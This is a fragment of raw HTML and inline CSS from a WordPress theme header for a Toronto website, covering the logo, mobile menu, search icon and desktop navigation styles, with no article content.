svg *{fill:#e2687e}@media (max-width:767px){.tdi_7 .tdb-mobile-menu-button i{font-size:29px;width:29px;height:29px;line-height:29px}.tdi_7 .tdb-mobile-menu-button svg{width:29px}.tdi_7 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:29px;height:29px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><span class="tdb-mobile-menu-icon tdb-mobile-menu-icon-svg" ><svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024"><path d="M881.152 489.133h-738.335c-17.654 0-31.98 14.305-31.98 32 0 17.705 14.326 32.020 31.98 32.020h738.335c17.695 0 32.010-14.305 32.010-32.020 0-17.695-14.326-32-32.010-32zM881.152 256.367h-738.335c-17.654 0-31.98 14.316-31.98 31.99 0 17.705 14.326 32.061 31.98 32.061h738.335c17.695 0 32.010-14.346 32.010-32.061 0-17.674-14.326-31.99-32.010-31.99zM513.444 721.888h-370.596c-17.674 0-32.010 14.326-32.010 32.061 0 17.572 14.346 31.969 32.010 31.969h370.586c17.705 0 32.020-14.397 32.020-31.969 0.010-17.725-14.305-32.061-32.010-32.061z"></path></svg></span></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_9  wpb_column vc_column_container tdc-column td-pb-span4">
449<style scoped>.tdi_9{vertical-align:baseline}.tdi_9>.wpb_wrapper,.tdi_9>.wpb_wrapper>.tdc-elements{display:block}.tdi_9>.wpb_wrapper>.tdc-elements{width:100%}.tdi_9>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_9>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_9{vertical-align:middle}}@media (max-width:767px){.tdi_9{width:60%!important;display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_10 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_10" >
450<style>.tdb_header_logo{margin-bottom:0;clear:none}
450.tdb_header_logo .tdb-logo-a,.tdb_header_logo h1{display:flex;pointer-events:auto;align-items:flex-start}.tdb_header_logo h1{margin:0;line-height:0}.tdb_header_logo .tdb-logo-img-wrap img{display:block}.tdb_header_logo .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdb_header_logo .tdb-logo-svg-wrap svg{width:50px;display:block;transition:fill .3s ease}.tdb_header_logo .tdb-logo-text-wrap{display:flex}.tdb_header_logo .tdb-logo-text-title,.tdb_header_logo .tdb-logo-text-tagline{-webkit-transition:all 0.2s ease;transition:all 0.2s ease}.tdb_header_logo .tdb-logo-text-title{background-size:cover;background-position:center center;font-size:75px;font-family:serif;line-height:1.1;color:#222;white-space:nowrap}.tdb_header_logo .tdb-logo-text-tagline{margin-top:2px;font-size:12px;font-family:serif;letter-spacing:1.8px;line-height:1;color:#767676}.tdb_header_logo .tdb-logo-icon{position:relative;font-size:46px;color:#000}.tdb_header_logo .tdb-logo-icon-svg{line-height:0}.tdb_header_logo .tdb-logo-icon-svg svg{width:46px;height:auto}.tdb_header_logo .tdb-logo-icon-svg svg,.tdb_header_logo .tdb-logo-icon-svg svg *{fill:#000}.tdi_10 .tdb-logo-a,.tdi_10 h1{flex-direction:row;align-items:flex-start;justify-content:center}.tdi_10 .tdb-logo-svg-wrap{display:block}.tdi_10 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_10 .tdb-logo-img-wrap{display:block}.tdi_10 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:none}.tdi_10 .tdb-logo-text-title{display:none}.tdi_10 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_10 .tdb-logo-icon{top:0px;display:none}@media (max-width:767px){.tdb_header_logo .tdb-logo-text-title{font-size:36px}}@media (max-width:767px){.tdb_header_logo .tdb-logo-text-tagline{font-size:11px}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://toronto1.one/en"><span class="tdb-logo-img-wrap"><img class="tdb-logo-img td-retina-data" data-retina="/wp-content/uploads/sites/35/2022/05/logo-one-toronto.png" src="/wp-content/uploads/sites/35/2022/05/logo-one-toronto.png" alt="Logo"  title=""  /></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_12  wpb_column vc_column_container tdc-column td-pb-span4">
451<style scoped>.tdi_12{vertical-align:baseline}.tdi_12>.wpb_wrapper,.tdi_12>.wpb_wrapper>.tdc-elements{display:block}.tdi_12>.wpb_wrapper>.tdc-elements{width:100%}.tdi_12>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_12>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_12{vertical-align:middle}}@media (max-width:767px){.tdi_12{width:20%!important;justify-content:flex-end!important;text-align:right!important;display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_13 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_13" >
452<style>@media (max-width:767px){.tdi_13{margin-right:-3px!important;padding-top:2px!important}}</style>
453<style>.tdb_mobile_search{margin-bottom:0;clear:none}.tdb_mobile_search a{display:inline-block!important;position:relative;text-align:center;color:var(--td_theme_color,#4db2ec)}.tdb_mobile_search a>span{display:flex;align-items:center;justify-content:center}.tdb_mobile_search svg{height:auto}.tdb_mobile_search svg,.tdb_mobile_search svg *{fill:var(--td_theme_color,#4db2ec)}#tdc-live-iframe .tdb_mobile_search a{pointer-events:none}.td-search-opened{overflow:hidden}.td-search-opened #td-outer-wrap{position:static}.td-search-opened .td-search-wrap-mob{position:fixed;height:calc(100% + 1px)}.td-search-opened .td-drop-down-search{height:calc(100% + 1px);overflow-y:scroll;overflow-x:hidden}.tdi_13{display:inline-block}.tdi_13 .tdb-block-inner{text-align:right}.tdi_13 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_13 .tdb-header-search-button-mob svg{width:22px}.tdi_13 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_13 .tdb-header-search-button-mob{color:#172842}.tdi_13 .tdb-header-search-button-mob svg,.tdi_13 .tdb-header-search-button-mob svg *{fill:#172842}.tdi_13 .tdb-header-search-button-mob:hover{color:#e2687e}@media (max-width:767px){.tdi_13 .tdb-header-search-button-mob i{font-size:23px;width:23px;height:23px;line-height:23px}.tdi_13 .tdb-header-search-button-mob svg{width:23px}.tdi_13 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:23px;height:23px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><span class="tdb-mobile-search-icon tdb-mobile-search-icon-svg" ><svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024">
453<path d="M958.484 910.161l-134.543-134.502c63.078-76.595 94.761-170.455 94.7-264.141 0.061-106.414-40.755-213.228-121.917-294.431-81.224-81.183-187.965-121.958-294.349-121.938-106.445-0.020-213.176 40.796-294.38 121.938-81.224 81.203-122.020 188.017-121.979 294.369-0.041 106.445 40.755 213.166 121.979 294.287 81.203 81.285 187.945 122.020 294.38 121.979 93.727 0.041 187.607-31.642 264.11-94.659l134.564 134.564 57.436-57.467zM265.452 748.348c-65.556-65.495-98.14-150.999-98.181-236.882 0.041-85.832 32.625-171.346 98.181-236.913 65.556-65.536 151.060-98.099 236.923-98.14 85.821 0.041 171.346 32.604 236.902 98.14 65.495 65.516 98.099 151.122 98.099 236.913 0 85.924-32.604 171.387-98.099 236.882-65.556 65.495-150.999 98.099-236.902 98.099-85.862 0-171.356-32.604-236.923-98.099z"></path></svg></span></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>
454                
455                    <div class="td-header-desktop-wrap ">
456                        <div id="tdi_14" class="tdc-zone"><div class="tdc_zone tdi_15  wpb_row td-pb-row"  >
457<style scoped>.tdi_15{min-height:0}.td-header-desktop-wrap{position:absolute;top:auto;bottom:auto}.tdi_15{z-index:999!important}</style><div id="tdi_16" class="tdc-row stretch_row_1800 td-stretch-content"><div class="vc_row tdi_17  wpb_row td-pb-row" >
458<style scoped>.tdi_17,.tdi_17 .tdc-columns{min-height:0}.tdi_17,.tdi_17 .tdc-columns{display:block}.tdi_17 .tdc-columns{width:100%}.tdi_17:before,.tdi_17:after{display:table}</style><div class="vc_column tdi_19  wpb_column vc_column_container tdc-column td-pb-span12">
459<style scoped>.tdi_19{vertical-align:baseline}.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:block}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:auto;height:auto}</style><div class="wpb_wrapper" ><div class="vc_row_inner tdi_21  vc_row vc_inner wpb_row td-pb-row" >
460<style scoped>.tdi_21{position:relative!important;top:0;transform:none;-webkit-transform:none}.tdi_21,.tdi_21 .tdc-inner-columns{display:block}.tdi_21 .tdc-inner-columns{width:100%}.tdi_21{padding-top:30px!important;padding-right:100px!important;padding-bottom:30px!important;padding-left:100px!important}.tdi_21 .td_block_wrap{text-align:left}@media (min-width:1019px) and (max-width:1140px){.tdi_21{padding-right:40px!important;padding-left:40px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_21{padding-top:20px!important;padding-right:10px!important;padding-bottom:20px!important;padding-left:10px!important}}</style><div class="vc_column_inner tdi_23  wpb_column vc_column_container tdc-inner-column td-pb-span3">
461<style scoped>.tdi_23{vertical-align:baseline}.tdi_23 .vc_column-inner>.wpb_wrapper,.tdi_23 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_23 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}.tdi_23{padding-top:8px!important}@media (min-width:768px) and (max-width:1018px){.tdi_23{padding-top:4px!important}}</style><div class="vc_column-inner"><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_24 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_24" >
462<style>.tdi_24{padding-top:4px!important;padding-right:10px!important}@media (min-width:1019px) and (max-width:1140px){.tdi_24{margin-top:-7px!important;margin-left:-5px!important}}</style>
463<style>.tdi_24{display:inline-block}.tdi_24 .tdb-logo-a,.tdi_24 h1{align-items:flex-start;justify-content:flex-start}.tdi_24 .tdb-logo-svg-wrap{margin-top:0px;margin-bottom:0px;margin-right:10px;margin-left:0px;display:none}.tdi_24 .tdb-logo-svg-wrap:first-child{margin-top:0;margin-left:0}.tdi_24 .tdb-logo-svg-wrap:last-child{margin-bottom:0;margin-right:0}.tdi_24 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:block}.tdi_24 .tdb-logo-img{max-width:auto}.tdi_24 .tdb-logo-text-tagline{margin-top:0;margin-left:6px;display:block;background-color:#e2687e;-webkit-background-clip:text;-webkit-text-fill-color:transparent;font-family:Roboto Condensed!important;font-size:22px!important;font-weight:700!important;text-transform:uppercase!important;letter-spacing:-0.3px!important;}.tdi_24 .tdb-logo-text-title{display:none;background-color:#172842;-webkit-background-clip:text;-webkit-text-fill-color:transparent;font-family:Montserrat!important;font-size:24px!important;line-height:1.3!important;font-weight:700!important;text-transform:capitalize!important;letter-spacing:-1px!important;}.tdi_24 .tdb-logo-text-wrap{flex-direction:row;align-items:baseline}.tdi_24 .tdb-logo-icon{margin-right:6px;top:0px;display:none;color:#e2687e}.tdi_24 .tdb-logo-icon:last-child{margin-right:0}html[class*='ie'] .tdi_24 .tdb-logo-text-title{background:none;color:#172842}html[class*='ie'] .tdi_24 .tdb-logo-text-tagline{background:none;color:#e2687e}.tdi_24 .tdb-logo-icon-svg svg,.tdi_24 .tdb-logo-icon-svg svg *{fill:#e2687e}@media (min-width:1019px) and (max-width:1140px){.tdi_24 .tdb-logo-img{max-width:100px}}@media (min-width:768px) and (max-width:1018px){.tdi_24 .tdb-logo-text-title{font-size:20px!important;line-height:1.5!important;}.tdi_24 .tdb-logo-text-tagline{font-size:20px!important;}}@media (max-width:767px){.tdi_24 .tdb-logo-img-wrap{margin-top:0px;margin-bottom:0px;margin-right:5px;margin-left:0px;display:block}.tdi_24 .tdb-logo-img-wrap:first-child{margin-top:0;margin-left:0}.tdi_24 .tdb-logo-img-wrap:last-child{margin-bottom:0;margin-right:0}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://toronto1.one/en"><span class="tdb-logo-img-wrap"><img class="tdb-logo-img td-retina-data" data-retina="/wp-content/uploads/sites/35/2022/05/logo-one-toronto.png" src="/wp-content/uploads/sites/35/2022/05/logo-one-toronto.png" alt="Logo"  title=""  /></span></a></div></div> <!-- ./block --></div></div></div><div class="vc_column_inner tdi_26  wpb_column vc_column_container tdc-inner-column td-pb-span9">
464<style scoped>.tdi_26{vertical-align:baseline}.tdi_26 .vc_column-inner>.wpb_wrapper,.tdi_26 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_26 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}.tdi_26{justify-content:flex-end!important;text-align:right!important}</style><div class="vc_column-inner"><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_menu tdi_27 tds_menu_active1 tds_menu_sub_active1 tdb-head-menu-inline tdb-mm-align-screen td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_27"  style=" z-index: 999;">
465<style>.tdb_header_menu{margin-bottom:0;z-index:999;clear:none}.tdb_header_menu .tdb-main-sub-icon-fake,.tdb_header_menu .tdb-sub-icon-fake{display:none}.rtl .tdb_header_menu .tdb-menu{display:flex}.tdb_header_menu .tdb-menu{display:inline-block;vertical-align:middle;margin:0}.tdb_header_menu .tdb-menu .tdb-mega-menu-inactive,.tdb_header_menu .tdb-menu .tdb-menu-item-inactive{pointer-events:none}.tdb_header_menu .tdb-menu .tdb-mega-menu-inactive>ul,.tdb_header_menu .tdb-menu .tdb-menu-item-inactive>ul{visibility:hidden;opacity:0}
465.tdb_header_menu .tdb-menu .sub-menu{font-size:14px;position:absolute;top:-999em;background-color:#fff;z-index:99}.tdb_header_menu .tdb-menu .sub-menu>li{list-style-type:none;margin:0;font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif)}.tdb_header_menu .tdb-menu>li{float:left;list-style-type:none;margin:0}.tdb_header_menu .tdb-menu>li>a{position:relative;display:inline-block;padding:0 14px;font-weight:700;font-size:14px;line-height:48px;vertical-align:middle;text-transform:uppercase;-webkit-backface-visibility:hidden;color:#000;font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif)}.tdb_header_menu .tdb-menu>li>a:after{content:'';position:absolute;bottom:0;left:0;right:0;margin:0 auto;width:0;height:3px;background-color:var(--td_theme_color,#4db2ec);-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-transition:width 0.2s ease;transition:width 0.2s ease}.tdb_header_menu .tdb-menu>li>a>.tdb-menu-item-text{display:inline-block}.tdb_header_menu .tdb-menu>li>a .tdb-menu-item-text,.tdb_header_menu .tdb-menu>li>a span{vertical-align:middle;float:left}.tdb_header_menu .tdb-menu>li>a .tdb-sub-menu-icon{margin:0 0 0 7px}.tdb_header_menu .tdb-menu>li>a .tdb-sub-menu-icon-svg{float:none;line-height:0}.tdb_header_menu .tdb-menu>li>a .tdb-sub-menu-icon-svg svg{width:14px;height:auto}.tdb_header_menu .tdb-menu>li>a .tdb-sub-menu-icon-svg svg,.tdb_header_menu .tdb-menu>li>a .tdb-sub-menu-icon-svg svg *{fill:#000}.tdb_header_menu .tdb-menu>li.current-menu-item>a:after,.tdb_header_menu .tdb-menu>li.current-menu-ancestor>a:after,.tdb_header_menu .tdb-menu>li.current-category-ancestor>a:after,.tdb_header_menu .tdb-menu>li.current-page-ancestor>a:after,.tdb_header_menu .tdb-menu>li:hover>a:after,.tdb_header_menu .tdb-menu>li.tdb-hover>a:after{width:100%}.tdb_header_menu .tdb-menu>li:hover>ul,.tdb_header_menu .tdb-menu>li.tdb-hover>ul{top:auto;display:block!important}.tdb_header_menu .tdb-menu>li.td-normal-menu>ul.sub-menu{top:auto;left:0;z-index:99}.tdb_header_menu .tdb-menu>li .tdb-menu-sep{position:relative;vertical-align:middle;font-size:14px}.tdb_header_menu .tdb-menu>li .tdb-menu-sep-svg{line-height:0}.tdb_header_menu .tdb-menu>li .tdb-menu-sep-svg svg{width:14px;height:auto}.tdb_header_menu .tdb-menu>li:last-child .tdb-menu-sep{display:none}.tdb_header_menu .tdb-menu-item-text{word-wrap:break-word}.tdb_header_menu .tdb-menu-item-text,.tdb_header_menu .tdb-sub-menu-icon,.tdb_header_menu .tdb-menu-more-subicon{vertical-align:middle}.tdb_header_menu .tdb-sub-menu-icon,.tdb_header_menu .tdb-menu-more-subicon{position:relative;top:0;padding-left:0}.tdb_header_menu .tdb-normal-menu{position:relative}.tdb_header_menu .tdb-normal-menu ul{left:0;padding:15px 0;text-align:left}.tdb_header_menu .tdb-normal-menu ul ul{margin-top:-15px}.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item{position:relative;list-style-type:none}.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item>a{position:relative;display:block;padding:7px 30px;font-size:12px;line-height:20px;color:#111}.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item>a .tdb-sub-menu-icon,.tdb_header_menu .td-pulldown-filter-list .tdb-menu-item>a .tdb-sub-menu-icon{position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);right:0;padding-right:inherit;font-size:7px;line-height:20px}.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item>a .tdb-sub-menu-icon-svg,.tdb_header_menu .td-pulldown-filter-list .tdb-menu-item>a .tdb-sub-menu-icon-svg{line-height:0}.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item>a .tdb-sub-menu-icon-svg svg,.tdb_header_menu .td-pulldown-filter-list .tdb-menu-item>a .tdb-sub-menu-icon-svg svg{width:7px;height:auto}.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item>a .tdb-sub-menu-icon-svg svg,.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item>a .tdb-sub-menu-icon-svg svg *,.tdb_header_menu .td-pulldown-filter-list .tdb-menu-item>a .tdb-sub-menu-icon svg,.tdb_header_menu .td-pulldown-filter-list .tdb-menu-item>a .tdb-sub-menu-icon svg *{fill:#000}.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item:hover>ul,.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.tdb-hover>ul{top:0;display:block!important}.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.current-menu-item>a,.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.current-menu-ancestor>a,.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.current-category-ancestor>a,.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.current-page-ancestor>a,.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.tdb-hover>a,.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item:hover>a{color:var(--td_theme_color,#4db2ec)}.tdb_header_menu .tdb-normal-menu>ul{left:-15px}.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu ul,.tdb_header_menu.tdb-menu-sub-inline .td-pulldown-filter-list{width:100%!important}.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu ul li,.tdb_header_menu.tdb-menu-sub-inline .td-pulldown-filter-list li{display:inline-block;width:auto!important}.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu,.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu .tdb-menu-item{position:static}.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu ul ul{margin-top:0!important}.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu>ul{left:0!important}.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu .tdb-menu-item>a .tdb-sub-menu-icon{float:none;line-height:1}.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu .tdb-menu-item:hover>ul,.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu .tdb-menu-item.tdb-hover>ul{top:100%}.tdb_header_menu.tdb-menu-sub-inline .tdb-menu-items-dropdown{position:static}.tdb_header_menu.tdb-menu-sub-inline .td-pulldown-filter-list{left:0!important}.tdb-menu .tdb-mega-menu .sub-menu{-webkit-transition:opacity 0.3s ease;transition:opacity 0.3s ease;width:1114px!important}.tdb-menu .tdb-mega-menu .sub-menu,.tdb-menu .tdb-mega-menu .sub-menu>li{position:absolute;
465left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.tdb-menu .tdb-mega-menu .sub-menu>li{top:0;width:100%;max-width:1114px!important;height:auto;background-color:#fff;border:1px solid #eaeaea;overflow:hidden}.tdc-dragged .tdb-block-menu ul{visibility:hidden!important;opacity:0!important;-webkit-transition:all 0.3s ease;transition:all 0.3s ease}.tdb-mm-align-screen .tdb-menu .tdb-mega-menu .sub-menu{-webkit-transform:translateX(0);transform:translateX(0)}.tdb-mm-align-parent .tdb-menu .tdb-mega-menu{position:relative}.tdb-menu .tdb-mega-menu .tdc-row:not([class*='stretch_row_']),.tdb-menu .tdb-mega-menu .tdc-row-composer:not([class*='stretch_row_']){width:auto!important;max-width:1240px}.tdb-menu .tdb-mega-menu-page>.sub-menu>li .tdb-page-tpl-edit-btns{position:absolute;top:0;left:0;display:none;flex-wrap:wrap;gap:0 4px}.tdb-menu .tdb-mega-menu-page>.sub-menu>li:hover .tdb-page-tpl-edit-btns{display:flex}.tdb-menu .tdb-mega-menu-page>.sub-menu>li .tdb-page-tpl-edit-btn{background-color:#000;padding:1px 8px 2px;font-size:11px;color:#fff;z-index:100}.tdi_27{display:inline-block}.tdi_27 .tdb-menu>li{margin-right:25px}.tdi_27 .tdb-menu>li:last-child{margin-right:0}.tdi_27 .tdb-menu-items-dropdown{margin-left:25px}.tdi_27 .tdb-menu-items-empty+.tdb-menu-items-dropdown{margin-left:0}.tdi_27 .tdb-menu>li>a,.tdi_27 .td-subcat-more{padding:0 5px;color:#172842}.tdi_27 .tdb-menu>li .tdb-menu-sep,.tdi_27 .tdb-menu-items-dropdown .tdb-menu-sep{top:0px}.tdi_27 .tdb-menu>li>a .tdb-sub-menu-icon-svg svg,.tdi_27 .td-subcat-more .tdb-menu-more-subicon-svg svg{width:22px}.tdi_27 .tdb-menu>li>a .tdb-sub-menu-icon,.tdi_27 .td-subcat-more .tdb-menu-more-subicon{margin-left:10px;top:1px}.tdi_27 .td-subcat-more .tdb-menu-more-icon{top:0px}.tdi_27 .tdb-menu>li>a .tdb-sub-menu-icon-svg svg,.tdi_27 .tdb-menu>li>a .tdb-sub-menu-icon-svg svg *,.tdi_27 .td-subcat-more .tdb-menu-more-subicon-svg svg,.tdi_27 .td-subcat-more .tdb-menu-more-subicon-svg svg *,.tdi_27 .td-subcat-more .tdb-menu-more-icon-svg,.tdi_27 .td-subcat-more .tdb-menu-more-icon-svg *{fill:#172842}.tdi_27 .tdb-menu>li>a,.tdi_27 .td-subcat-more,.tdi_27 .td-subcat-more>.tdb-menu-item-text{font-family:Montserrat!important;font-size:16px!important;line-height:56px!important;font-weight:800!important;text-transform:none!important}.tdi_27 .tdb-menu>.tdb-normal-menu>ul,.tdi_27 .td-pulldown-filter-list{left:-25px}.tdi_27 .tdb-menu .tdb-normal-menu ul,.tdi_27 .td-pulldown-filter-list,.tdi_27 .td-pulldown-filter-list .sub-menu{padding:20px 0;background-color:#ffffff;box-shadow:0px 4px 16px 0px rgba(22,35,58,0.1)}.tdi_27 .tdb-normal-menu ul .tdb-menu-item>a .tdb-sub-menu-icon-svg svg,.tdi_27 .td-pulldown-filter-list .tdb-menu-item>a .tdb-sub-menu-icon svg{width:10px}.tdi_27 .tdb-normal-menu ul .tdb-menu-item>a .tdb-sub-menu-icon,.tdi_27 .td-pulldown-filter-list .tdb-menu-item>a .tdb-sub-menu-icon{right:0;margin-top:0px}.tdi_27 .tdb-menu .tdb-normal-menu ul .tdb-menu-item>a,.tdi_27 .tdb-menu-items-dropdown .td-pulldown-filter-list li a,.tdi_27 .tdb-menu-items-dropdown .td-pulldown-filter-list li a{color:#172842}.tdi_27 .tdb-menu .tdb-normal-menu ul .tdb-menu-item>a .tdb-sub-menu-icon-svg svg,.tdi_27 .tdb-menu .tdb-normal-menu ul .tdb-menu-item>a .tdb-sub-menu-icon-svg svg *,.tdi_27 .tdb-menu-items-dropdown .td-pulldown-filter-list li a .tdb-sub-menu-icon-svg svg,.tdi_27 .tdb-menu-items-dropdown .td-pulldown-filter-list li a .tdb-sub-menu-icon-svg svg *{fill:#172842}.tdi_27 .tdb-menu .tdb-normal-menu ul .tdb-menu-item>a .tdb-sub-menu-icon,.tdi_27 .tdb-menu-items-dropdown .td-pulldown-filter-list li a .tdb-sub-menu-icon{color:#172842}.tdi_27 .tdb-menu .tdb-normal-menu ul .tdb-menu-item>a .tdb-sub-menu-icon-svg svg,.tdi_27 .tdb-menu .tdb-normal-menu ul .tdb-menu-item>a .tdb-sub-menu-icon-svg svg *,.tdi_27 .tdb-menu-items-dropdown .td-pulldown-filter-list li a .tdb-sub-menu-icon-svg svg,.tdi_27 .tdb-menu-items-dropdown .td-pulldown-filter-list li a .tdb-sub-menu-icon-svg svg *{fill:#172842}.tdi_27 .tdb-menu .tdb-normal-menu ul .tdb-menu-item>a,.tdi_27 .td-pulldown-filter-list li a{font-family:Montserrat!important;font-size:14px!important;font-weight:800!important}.tdi_27:not(.tdb-mm-align-screen) .tdb-mega-menu .sub-menu,.tdi_27 .tdb-mega-menu .sub-menu>li{max-width:1680px!important}.tdi_27 .tdb-mega-menu-page>.sub-menu>li{padding:40px}.tdi_27 .tdb-mega-menu .tdb_header_mega_menu{margin-left:0}.tdi_27 .tdb-menu .tdb-mega-menu .sub-menu>li{border-width:0px;box-shadow:0px 8px 20px 0px rgba(22,35,58,0.1)}@media (max-width:1140px){.tdb-menu .tdb-mega-menu .sub-menu>li{width:100%!important}}@media (max-width:1018px){.tdi_27 .td-pulldown-filter-list{left:auto;right:-25px}}@media (min-width:1019px) and (max-width:1140px){.tdi_27 .tdb-menu>li{margin-right:15px}.tdi_27 .tdb-menu>li:last-child{margin-right:0}.tdi_27 .tdb-menu-items-dropdown{margin-left:15px}.tdi_27 .tdb-menu-items-empty+.tdb-menu-items-dropdown{margin-left:0}.tdi_27 .tdb-menu>.tdb-normal-menu>ul,.tdi_27 .td-pulldown-filter-list{left:-20px}.tdi_27 .tdb-menu .tdb-normal-menu ul .tdb-menu-item>a,.tdi_27 .tdb-menu-items-dropdown .td-pulldown-filter-list li>a{padding:5px 25px}.tdi_27 .tdb-menu .tdb-normal-menu ul,.tdi_27 .td-pulldown-filter-list,.tdi_27 .td-pulldown-filter-list .sub-menu{box-shadow:0px 10px 15px 0px rgba(22,35,58,0.1)}.tdi_27:not(.tdb-mm-align-screen) .tdb-mega-menu .sub-menu,.tdi_27 .tdb-mega-menu .sub-menu>li{max-width:100%!important}.tdi_27 .tdb-mega-menu-page>.sub-menu>li{padding:25px 20px}.tdi_27 .tdb-menu .tdb-mega-menu .sub-menu>li{box-shadow:0px 15px 30px 0px rgba(22,35,58,0.1)}@media (max-width:1018px){.tdi_27 .td-pulldown-filter-list{left:auto;right:-20px}}}@media (min-width:768px) and (max-width:1018px){.tdi_27 .tdb-menu>li{margin-right:15px}.tdi_27 .tdb-menu>li:last-child{margin-right:0}.tdi_27 .tdb-menu-items-dropdown{margin-left:15px}.tdi_27 .tdb-menu-items-empty+.tdb-menu-items-dropdown{margin-left:0}.tdi_27 .tdb-menu>li>a,.tdi_27 .td-subcat-more{padding:0 2px}.tdi_27 .tdb-menu>li>a .tdb-sub-menu-icon-svg svg,.tdi_27 .td-subcat-more .tdb-menu-more-subicon-svg svg{width:17px}.tdi_27 .tdb-menu>li>a,.tdi_27 .td-subcat-more,.tdi_27 .td-subcat-more>.tdb-menu-item-text{font-size:14px!important;line-height:45px!important}.tdi_27 .tdb-menu>.tdb-normal-menu>ul,.tdi_27 .td-pulldown-filter-list{left:-15px}.tdi_27 .tdb-menu .tdb-normal-menu ul,.tdi_27 .td-pulldown-filter-list,.tdi_27 .td-pulldown-filter-list .sub-menu{padding:10px 0}.tdi_27 .tdb-menu .tdb-normal-menu ul .tdb-menu-item>a,.tdi_27 .tdb-menu-items-dropdown .td-pulldown-filter-list li>a{padding:5px 20px}.tdi_27 .tdb-menu .tdb-normal-menu ul .tdb-menu-item>a,.tdi_27 .td-pulldown-filter-list li a{font-size:12px!important}.tdi_27:not(.tdb-mm-align-screen) .tdb-mega-menu .sub-menu,.tdi_27 .tdb-mega-menu .sub-menu>li{max-width:100%!important}.tdi_27 .tdb-mega-menu-page>.sub-menu>li{padding:20px 15px}@media (max-width:1018px){.tdi_27 .td-pulldown-filter-list{left:auto;right:-15px}}}</style>
